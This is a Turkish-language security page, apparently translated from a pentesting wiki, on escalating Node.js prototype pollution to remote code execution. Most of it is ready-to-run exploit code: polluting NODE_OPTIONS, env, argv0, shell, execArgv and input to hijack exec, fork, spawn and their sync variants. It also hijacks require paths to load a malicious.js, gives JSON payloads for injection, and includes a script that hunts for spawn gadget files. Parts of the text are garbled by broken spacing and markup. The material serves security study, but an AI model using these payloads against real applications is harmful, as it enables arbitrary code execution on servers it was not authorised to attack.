Gerçek bir JS'in aşağıdaki gibi bir kod kullandığını hayal edin:
const { execSync,fork } =require('child_process');functionisObject(obj) {console.log(typeof obj);returntypeof obj ==='function'||typeof obj ==='object';}// Function vulnerable to prototype pollutionfunctionmerge(target, source) {for (let key in source) {if (isObject(target[key]) &&isObject(source[key])) {merge(target[key], source[key]);} else {target[key] = source[key];}}return target;}functionclone(target) {returnmerge({}, target);}// Run prototype pollution with user input// Check in the next sections what payload put here to execute arbitrary codeclone(USERINPUT);// Spawn process, this will call the gadget that poputales env variables// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`var proc =fork('a_file.js');
PP2RCE env değişkenleri aracılığıyla
PP2RCE, Prototype Pollution to RCE (Uzak Kod Çalıştırma) anlamına gelir.
Bu yazıda belirtildiğine göre, bir işlem başlatıldığındachild_process'ten bazı yöntemlerle (örneğin fork veya spawn gibi) normalizeSpawnArguments yöntemini çağırır; bu, yeni env değişkenleri oluşturmak için bir prototype pollution gadget'ıdır:
Check that code you can see it's possible en poison envPairs just by polluting the attribute .env.
Poisoning __proto__
Not edin ki normalizeSpawnArguments fonksiyonunun child_process kütüphanesindeki çalışma şekli nedeniyle, bir şeyin çağrılması durumunda yeni bir env değişkeni ayarlamak için sadece herhangi bir şeyi kirletmek yeterlidir.
Örneğin, eğer __proto__.avar="valuevar" yaparsanız, süreç avar adında ve değeri valuevar olan bir değişkenle başlatılacaktır.
Ancak, env değişkeninin ilk olması için .env niteliğinikirletmek gerekir ve (sadece bazı yöntemlerde) o değişken ilk olacaktır (saldırıya izin verir).
Bu yüzden NODE_OPTIONS aşağıdaki saldırıda .env içinde değildir.
const { execSync,fork } =require('child_process');// Manual Pollutionb = {}b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//"}b.__proto__.NODE_OPTIONS="--require /proc/self/environ"// Trigger gadgetvar proc =fork('./a_file.js');// This should create the file /tmp/pp2rec// Abusing the vulnerable codeUSERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce\\\").toString())//"}}}')
clone(USERINPUT);var proc =fork('a_file.js');// This should create the file /tmp/pp2rec
constructor.prototype Zehirleme
const { execSync,fork } =require('child_process');// Manual Pollutionb = {}b.constructor.prototype.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"}
b.constructor.prototype.NODE_OPTIONS="--require /proc/self/environ"proc =fork('a_file.js');// This should create the file /tmp/pp2rec2// Abusing the vulnerable codeUSERINPUT = JSON.parse('{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}}}')
clone(USERINPUT);var proc =fork('a_file.js');// This should create the file /tmp/pp2rec2
PP2RCE env değişkenleri + cmdline aracılığıyla
Öncekiyle benzer bir yük, bu yazıda** önerilmiştir.** Ana farklar şunlardır:
Nodejs payload'ını /proc/self/environ dosyasında saklamak yerine, /proc/self/cmdline içindeki argv0'da saklar.
Ardından, NODE_OPTIONS aracılığıyla /proc/self/environ dosyasını gerektirmek yerine, /proc/self/cmdline dosyasını gerektirir.
const { execSync,fork } =require('child_process');// Manual Pollutionb = {}b.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"b.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"// Trigger gadgetvar proc =fork('./a_file.js');// This should create the file /tmp/pp2rec2// Abusing the vulnerable codeUSERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}')
clone(USERINPUT);var proc =fork('a_file.js');// This should create the file /tmp/pp2rec
DNS Etkileşimi
Aşağıdaki yükleri kullanarak daha önce tartıştığımız NODE_OPTIONS ortam değişkenini kötüye kullanmak ve bunun bir DNS etkileşimi ile çalışıp çalışmadığını tespit etmek mümkündür:
Bu bölümde child_process'ten her bir fonksiyonu analiz edeceğiz ve bu fonksiyonun kodu çalıştırmasını sağlamak için herhangi bir teknik kullanıp kullanamayacağımıza bakacağız:
exec istismarı
// environ trick - not working// It's not possible to pollute the .env attr to create a first env var// because options.env is null (not undefined)// cmdline trick - working with small variation// Working after kEmptyObject (fix)const { exec } =require('child_process');p = {}p.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"p.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"var proc =exec('something');// stdin trick - not working// Not using stdin// Windows// Working after kEmptyObject (fix)const { exec } =require('child_process');p = {}p.__proto__.shell ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"var proc =exec('something');
execFile istismar
```javascript // environ trick - not working // It's not possible to pollute the .en attr to create a first env var
// cmdline trick - working with a big requirement // Working after kEmptyObject (fix) const { execFile } = require('child_process'); p = {} p.proto.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.proto.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//" p.proto.NODE_OPTIONS = "--require /proc/self/cmdline" var proc = execFile('/usr/bin/node');
// stdin trick - not working // Not using stdin
// Windows - not working
**`execFile`**'ın çalışması için **mutlaka node**'u çalıştırması **GEREKİR**.\
Eğer **node**'u çalıştırmıyorsa, neyi **çalıştırdığını** **çevre değişkenleri** ile **değiştirmenin** bir yolunu bulmalısınız ve bunları ayarlamalısınız.
**Diğer** teknikler bu gereksinim olmadan **çalışır** çünkü **neyin çalıştırıldığını** prototip kirlenmesi yoluyla **değiştirmek mümkündür**. (Bu durumda, `.shell`'i kirletebilseniz bile, çalıştırılanı kirletemezsiniz).
</details>
<details>
<summary><code>fork</code> exploitation</summary>
<div data-gb-custom-block data-tag="code" data-overflow='wrap'>
```javascript
// environ trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = fork('something');
// cmdline trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
p = {}
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = fork('something');
// stdin trick - not working
// Not using stdin
// execArgv trick - working
// Only the fork method has this attribute
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "/bin/sh"
b.__proto__.argv0 = "/bin/sh"
b.__proto__.execArgv = ["-c", "touch /tmp/fork-execArgv"]
var proc = fork('./a_file.js');
// Windows
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = fork('./a_file.js');
spawn istismar
// environ trick - working with small variation (shell and argv0)// NOT working after kEmptyObject (fix) without optionsconst { spawn } =require('child_process');p = {}// If in windows or mac you need to change the following params to the path of ndoep.__proto__.argv0 ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//"}p.__proto__.NODE_OPTIONS="--require /proc/self/environ"var proc =spawn('something');//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)// cmdline trick - working with small variation (shell)// NOT working after kEmptyObject (fix) without optionsconst { spawn } =require('child_process');p = {}p.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//"p.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"var proc =spawn('something');//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)// stdin trick - not working// Not using stdin// Windows// NOT working after require(fix) without optionsconst { spawn } =require('child_process');p = {}p.__proto__.shell ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"var proc =spawn('something');//var proc = spawn('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
execFileSync istismar
// environ trick - working with small variation (shell and argv0)// Working after kEmptyObject (fix)const { execFileSync } =require('child_process');p = {}// If in windows or mac you need to change the following params to the path of ndoep.__proto__.argv0 ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS="--require /proc/self/environ"var proc =execFileSync('something');// cmdline trick - working with small variation (shell)// Working after kEmptyObject (fix)const { execFileSync } =require('child_process');p = {}p.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/execFileSync-cmdline').toString())//"p.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"var proc =execFileSync('something');// stdin trick - working// Working after kEmptyObject (fix)const { execFileSync } =require('child_process');p = {}p.__proto__.argv0 ="/usr/bin/vim"p.__proto__.shell ="/usr/bin/vim"p.__proto__.input =':!{touch /tmp/execFileSync-stdin}\n'var proc =execFileSync('something');// Windows// Working after kEmptyObject (fix)const { execSync } =require('child_process');p = {}p.__proto__.shell ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"p.__proto__.argv0 ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"var proc =execSync('something');
execSync istismar
// environ trick - working with small variation (shell and argv0)// Working after kEmptyObject (fix)const { execSync } =require('child_process');p = {}// If in windows or mac you need to change the following params to the path of ndoep.__proto__.argv0 ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS="--require /proc/self/environ"var proc =execSync('something');// cmdline trick - working with small variation (shell)// Working after kEmptyObject (fix)const { execSync } =require('child_process');p = {}p.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/execSync-cmdline').toString())//"p.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"var proc =execSync('something');// stdin trick - working// Working after kEmptyObject (fix)const { execSync } =require('child_process');p = {}p.__proto__.argv0 ="/usr/bin/vim"p.__proto__.shell ="/usr/bin/vim"p.__proto__.input =':!{touch /tmp/execSync-stdin}\n'var proc =execSync('something');// Windows// Working after kEmptyObject (fix)const { execSync } =require('child_process');p = {}p.__proto__.shell ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"var proc =execSync('something');
spawnSync istismar
// environ trick - working with small variation (shell and argv0)// NOT working after kEmptyObject (fix) without optionsconst { spawnSync } =require('child_process');p = {}// If in windows or mac you need to change the following params to the path of nodep.__proto__.argv0 ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawnSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS="--require /proc/self/environ"var proc =spawnSync('something');//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)// cmdline trick - working with small variation (shell)// NOT working after kEmptyObject (fix) without optionsconst { spawnSync } =require('child_process');p = {}p.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/spawnSync-cmdline').toString())//"p.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"var proc =spawnSync('something');//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)// stdin trick - working// NOT working after kEmptyObject (fix) without optionsconst { spawnSync } =require('child_process');p = {}p.__proto__.argv0 ="/usr/bin/vim"p.__proto__.shell ="/usr/bin/vim"p.__proto__.input =':!{touch /tmp/spawnSync-stdin}\n'var proc =spawnSync('something');//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)// Windows// NOT working after require(fix) without optionsconst { spawnSync } =require('child_process');p = {}p.__proto__.shell ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"var proc =spawnSync('something');//var proc = spawnSync('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
Spawn'ı Zorlamak
Önceki örneklerde, bir gadget'ı tetiklemeyi nasıl yapacağınızı gördünüz; spawn'ı çağıran bir işlevselliğin mevcut olması gerekir (bir şeyi çalıştırmak için kullanılan child_process'in tüm yöntemleri bunu çağırır). Önceki örnekte bu kodun bir parçasıydı, ama ya kod bunu çağırmıyorsa?
Bir require dosya yolunu kontrol etme
Bu diğer yazıda kullanıcı, bir require'ın çalıştırılacağı dosya yolunu kontrol edebilir. Bu senaryoda, saldırganın sadece sistemde bir .js dosyası bulması gerekir ki bu dosya içe aktarıldığında bir spawn yöntemini çalıştıracaktır.
İçe aktarıldığında bir spawn işlevini çağıran yaygın dosyalara bazı örnekler:
/path/to/npm/scripts/changelog.js
/opt/yarn-v1.22.19/preinstall.js
Aşağıda daha fazla dosya bulun
Aşağıdaki basit betik, fonksiyonlar içindeki çağrıları göstermemek içinpadding olmadan child_process'ten çağrıları arayacaktır:
find/-name"*.js"-typef-execgrep-l"child_process"{} \; 2>/dev/null|whilereadfile_path; dogrep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
done# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.
node_modules/node-pty/scripts/publish.js:31:const result = cp.spawn('npm', args, { stdio: 'inherit' });
Prototip kirletmesi ile require dosya yolunu ayarlama
Önceki teknik, kullanıcınınrequire edilecek dosyanın yolunu kontrol etmesini gerektirir. Ancak bu her zaman doğru değildir.
Ancak, eğer kod prototip kirletmesinden sonra bir require çalıştıracaksa, require edilecek yolun kontrolünü sağlamasanız bile, prototip kirletmesini kötüye kullanarak farklı bir yol zorlayabilirsiniz. Yani, kod satırı require("./a_file.js") veya require("bytes") gibi olsa bile, kirlettiğiniz paketi require edecektir.
Bu nedenle, eğer prototip kirletmenizden sonra bir require çalıştırılırsa ve hiçbir spawn fonksiyonu yoksa, bu saldırıdır:
Sistem içinderequire edildiğindebir şey çalıştıracak bir .js dosyası bulun
Eğer saldırdığınız platforma dosya yükleyebiliyorsanız, böyle bir dosya yükleyebilirsiniz
.js dosyasının require yüklemesini zorlamak için yolları kirletin ve child_process ile bir şey çalıştıracak
Arbitrary kod çalıştırmak için environ/cmdline'ı kirletin bir child_process yürütme fonksiyonu çağrıldığında (ilk tekniklere bakın)
Mutlak require
Eğer gerçekleştirilen require mutlak ise (require("bytes")) ve paket package.json dosyasında main içermiyorsa, main niteliğini kirletebilir ve require'ın farklı bir dosyayı çalıştırmasını sağlayabilirsiniz.
// Create a file called malicious.js in /tmp// Contents of malicious.js in the other tab// Install package bytes (it doesn't have a main in package.json)// npm install bytes// Manual Pollutionb = {}b.__proto__.main ="/tmp/malicious.js"// Trigger gadgetvar proc =require('bytes');// This should execute the file /tmp/malicious.js// The relative path doesn't even need to exist// Abusing the vulnerable codeUSERINPUT = JSON.parse('{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_absolute\\\").toString())//"}}')
clone(USERINPUT);var proc =require('bytes');// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
const { fork } =require('child_process');console.log("Hellooo from malicious");fork("anything");
Göreceli gereksinim - 1
Eğer bir göreceli yol yerine bir mutlak yol yüklenirse, node'u farklı bir yolu yüklemesi için yönlendirebilirsiniz:
// Create a file called malicious.js in /tmp// Contents of malicious.js in the other tab// Manual Pollutionb = {}b.__proto__.exports = { ".":"./malicious.js" }b.__proto__["1"] ="/tmp"// Trigger gadgetvar proc =require('./relative_path.js');// This should execute the file /tmp/malicious.js// The relative path doesn't even need to exist// Abusing the vulnerable codeUSERINPUT = JSON.parse('{"__proto__": {"exports": {".": "./malicious.js"}, "1": "/tmp", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_1\\\").toString())//"}}')
clone(USERINPUT);var proc =require('./relative_path.js');// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
const { fork } =require('child_process');console.log("Hellooo from malicious");fork('/path/to/anything');
Göreceli gereksinim - 2
// Create a file called malicious.js in /tmp// Contents of malicious.js in the other tab// Manual Pollutionb = {}b.__proto__.data = {}b.__proto__.data.exports = { ".":"./malicious.js" }b.__proto__.path ="/tmp"b.__proto__.name ="./relative_path.js"//This needs to be the relative path that will be imported in the require// Trigger gadgetvar proc =require('./relative_path.js');// This should execute the file /tmp/malicious.js// The relative path doesn't even need to exist// Abusing the vulnerable codeUSERINPUT = JSON.parse('{"__proto__": {"data": {"exports": {".": "./malicious.js"}}, "path": "/tmp", "name": "./relative_path.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_path\\\").toString())//"}}')
clone(USERINPUT);var proc =require('./relative_path.js');// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
const { fork } =require('child_process');console.log("Hellooo from malicious");fork('/path/to/anything');
Makalede https://arxiv.org/pdf/2207.11171.pdfvm kütüphanesinin bazı yöntemlerinden contextExtensions kontrolünün bir gadget olarak kullanılabileceği de belirtilmiştir.
Ancak, önceki child_process yöntemleri gibi, en son sürümlerde düzeltilmiştir.
Fixes & Unexpected protections
Lütfen, prototype pollution'ın, erişilen bir nesnenin attribute'u undefined olduğunda çalıştığını unutmayın. Eğer kod içinde bu attribute'a bir değeratandıysa, onu üzerine yazamazsınız.
Haziran 2022'de bu commit ile options değişkeni {} yerine kEmptyObject olarak ayarlandı. Bu, options'ın attributes'ını etkileyerek RCE elde etmeyi önler.
En azından v18.4.0'dan itibaren bu koruma uygulanmıştır, bu nedenle spawn ve spawnSyncexploits'leri artık yöntemleri etkilemez (eğer options kullanılmıyorsa!).
Bu commit ile vm kütüphanesindeki contextExtensions'ın prototype pollution'ı da bir şekilde düzeltilmiştir; seçenekler kEmptyObject olarak ayarlandı, {} yerine.